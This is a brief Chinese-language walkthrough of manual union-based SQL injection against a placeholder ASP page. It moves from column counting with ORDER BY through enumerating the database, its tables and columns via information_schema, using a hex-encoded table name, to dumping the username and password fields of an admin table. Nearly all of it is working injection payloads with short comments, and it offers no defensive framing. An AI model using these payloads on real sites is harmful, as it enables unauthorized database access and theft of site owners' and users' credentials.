例如有一個網站:www.xxxxx.com/artist.asp?id=2
id=2 order by 3 正常
id=2 order by 4 不正常
order by需要獲取字段的總數爲3
id=2 union select 1,2,3
id=2 union select 1,2,database() #爆數據庫名
id=2 union select 1,2,database()
有一些數據,union聯合查詢後,不會多行顯示,就需要先讓前面的語句失效
id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數據庫sqlzhuru,爆表名(第一個表)
因id = -2不存在,帶入select * from admin where id=-2報錯哦
當然你也可以用下面的這個語句,效果等同於“id=-2”
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數據庫sqlzhuru,爆表名(第一個表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知數據庫sqlzhuru,爆表名(第一個表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知數據庫sqlzhuru,爆第二個表
假如得到admin表,繼續如下:
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1 #已知admin表,爆二個列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1 #已知admin表,爆三個列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1 #已知admin表,爆三個列名(十六進制表示admin表)
假如上面得到admin表下的username、password列,接下來就可以列出某某的數據了id=2 and 1=2 union select 1,username,password from admin